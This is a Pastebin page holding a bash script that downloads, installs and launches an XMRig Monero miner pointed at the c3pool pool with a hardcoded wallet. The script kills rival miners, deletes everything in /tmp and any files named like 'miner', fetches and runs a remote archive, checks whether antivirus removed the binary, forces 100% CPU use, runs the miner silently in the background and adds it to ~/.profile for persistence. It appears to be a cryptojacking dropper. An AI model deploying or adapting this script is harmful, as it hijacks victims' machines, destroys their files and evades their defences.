Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- WALLET="41poaCNDTvs33KCFKfekN88Ehf59ddparQdFKFT4XKrUMnc1Ude7xtvhZuKfTai8tDML6gFyTAKY5RuDDxDqLRZpT8QpQ9b"
- PORT=$(( 19999 ))
- if [ -z $HOME ]; then
- if [ "$(id -u)" == "0" ]; then
- export HOME=/root
- elif [ "$(id -u)" != "0" ]; then
- export HOME=/tmp
- fi
- fi
- if [ ! -d $HOME ]; then
- exit 1
- fi
- if ! (type wget >/dev/null || type curl >/dev/null); then
- echo "ERROR: This script requires \"wget or curl\" utility to work correctly"
- exit 1
- fi
- # start doing stuff: preparing miner
- echo "[*] Removing previous c3pool miner (if any)"
- if sudo -n true 2>/dev/null; then
- sudo systemctl stop c3pool_miner.service 2>/dev/null
- sudo systemctl disable c3pool_miner.service 2>/dev/null
- sudo systemctl disable 2>/dev/null
- sudo killall xmrig 2>/dev/null
- sudo pkill xmrig 2>/dev/null
- kill $(ps aux | grep "[--]config=" | awk '{print $2}') 2>/dev/null
- sudo rm -rf /etc/systemd/system/c3pool_miner.service 2>/dev/null
- else
- killall -9 xmrig 2>/dev/null
- killall xmrig 2>/dev/null
- pkill xmrig 2>/dev/null
- kill $(ps aux | grep "[--]config=" | awk '{print $2}') 2>/dev/null
- fi
- echo "[*] Removing $HOME/.c3pool directory"
- rm -rf $HOME/c3pool 2>/dev/null
- rm -rf $HOME/.c3pool 2>/dev/null
- rm -rf /tmp/c3pool 2>/dev/null
- rm -rf /tmp/* 2>/dev/null
- find . -name "*c3pool*" -exec rm -rf {} \; 2>/dev/null
- find . -name "*xmrig*" -exec rm -rf {} \; 2>/dev/null
- find . -name "*miner*" -exec rm -rf {} \; 2>/dev/null
- echo "[*] Downloading C3Pool advanced version of xmrig to /tmp/xmrig.tar.gz"
- if ! (wget -q -O /tmp/xmrig.tar.gz "http://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz" || curl -s "http://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz" -o /tmp/xmrig.tar.gz); then
- echo "ERROR: Can't download file."
- exit 1
- fi
- echo "[*] Unpacking /tmp/xmrig.tar.gz to $HOME/.c3pool"
- [ -d $HOME/.c3pool ] || mkdir $HOME/.c3pool
- [ -f $HOME/.c3pool/.profile ] || touch $HOME/.c3pool/.profile
- if ! tar xf /tmp/xmrig.tar.gz -C $HOME/.c3pool; then
- echo "ERROR: Can't unpack /tmp/xmrig.tar.gz to $HOME/.c3pool directory"
- exit 1
- fi
- rm /tmp/xmrig.tar.gz
- echo "[*] Checking if advanced version of $HOME/.c3pool/xmrig works fine (and not removed by antivirus software)"
- $HOME/.c3pool/xmrig --help >/dev/null
- if (test $? -ne 0); then
- if [ -f $HOME/.c3pool/xmrig ]; then
- echo "WARNING: Advanced version of $HOME/.c3pool/xmrig is not functional or got removed"
- fi
- echo "[*] Looking for the latest version of Monero miner"
- LATEST_XMRIG_RELEASE=`curl -s https://github.com/xmrig/xmrig/releases/latest | grep -o '".*"' | sed 's/"//g'`
- LATEST_XMRIG_LINUX_RELEASE="https://github.com"`curl -s $LATEST_XMRIG_RELEASE | grep xenial-x64.tar.gz\" | cut -d \" -f2`
- echo "[*] Downloading $LATEST_XMRIG_LINUX_RELEASE to /tmp/xmrig.tar.gz"
- if ! curl -L --progress-bar $LATEST_XMRIG_LINUX_RELEASE -o /tmp/xmrig.tar.gz; then
- echo "ERROR: Can't download $LATEST_XMRIG_LINUX_RELEASE file to /tmp/xmrig.tar.gz"
- exit 1
- fi
- if ! tar xf /tmp/xmrig.tar.gz -C $HOME/.c3pool --strip=1; then
- echo "WARNING: Can't unpack /tmp/xmrig.tar.gz to $HOME/.c3pool directory"
- fi
- rm /tmp/xmrig.tar.gz
- $HOME/.c3pool/xmrig --help >/dev/null
- if (test $? -ne 0); then
- if [ -f $HOME/.c3pool/xmrig ]; then
- echo "ERROR: Stock version of $HOME/.c3pool/xmrig is not functional too"
- else
- echo "ERROR: Stock version of $HOME/.c3pool/xmrig was removed by antivirus too"
- fi
- exit 1
- fi
- fi
- echo "[*] Miner $HOME/.c3pool/xmrig is OK"
- PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'`
- if [ "$PASS" == "localhost" ]; then
- PASS=`ip route get 1 | awk '{print $NF;exit}'`
- fi
- if [ -z $PASS ]; then
- PASS=na
- fi
- if [ ! -z $EMAIL ]; then
- PASS="$PASS:$EMAIL"
- fi
- sed -i 's/"donate-level": *[^,]*,/"donate-level": 1,/' $HOME/.c3pool/config.json
- sed -i 's/"url": *"[^"]*",/"url": "auto.c3pool.org:'$PORT'",/' $HOME/.c3pool/config.json
- sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'",/' $HOME/.c3pool/config.json
- sed -i 's/"pass": *"[^"]*",/"pass": "'$PASS'",/' $HOME/.c3pool/config.json
- sed -i 's/"max-cpu-usage": *[^,]*,/"max-cpu-usage": 100,/' $HOME/.c3pool/config.json
- sed -i 's/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 75,/' $HOME/.c3pool/config.json
- sed -i 's#"log-file": *null,#"log-file": "'$HOME/.c3pool/xmrig.log'",#' $HOME/.c3pool/config.json
- sed -i 's/"syslog": *[^,]*,/"syslog": true,/' $HOME/.c3pool/config.json
- cp $HOME/.c3pool/config.json $HOME/.c3pool/config_background.json
- sed -i 's/"background": *false,/"background": true,/' $HOME/.c3pool/config_background.json
- # preparing script
- echo "[*] Creating $HOME/.c3pool/miner.sh script"
- cat >$HOME/.c3pool/miner.sh <<EOL
- #!/bin/bash
- if ! pidof xmrig >/dev/null; then
- nice $HOME/.c3pool/xmrig \$*
- else
- echo "Monero miner is already running in the background. Refusing to run another one."
- echo "Run \"killall xmrig\" or \"sudo killall xmrig\" if you want to remove background miner first."
- fi
- EOL
- if sudo -n true 2>/dev/null; then
- if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') -gt 3500000 ]]; then
- echo "[*] Enabling huge pages"
- echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf >/dev/null
- sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc))) >/dev/null
- else
- echo "[*] Huge already enabled"
- fi
- else
- echo "[*] Not enabling huge pages"
- fi
- touch $HOME/.profile
- sed -i '/c3pool/d' $HOME/.profile
- echo "$HOME/.c3pool/miner.sh --config=$HOME/.c3pool/config_background.json >/dev/null 2>&1" >>$HOME/.profile
- chmod +x $HOME/.c3pool/miner.sh
- (/bin/bash $HOME/.c3pool/miner.sh --config=$HOME/.c3pool/config_background.json >/dev/null 2>&1 || /bin/sh $HOME/.c3pool/miner.sh --config=$HOME/.c3pool/config_background.json >/dev/null 2>&1)
- rm -rf /tmp/*.sh
- if pidof xmrig >/dev/null; then
- PID=$(pidof xmrig)
- echo "Running with $PID"
- else
- echo "Not Running"
- fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement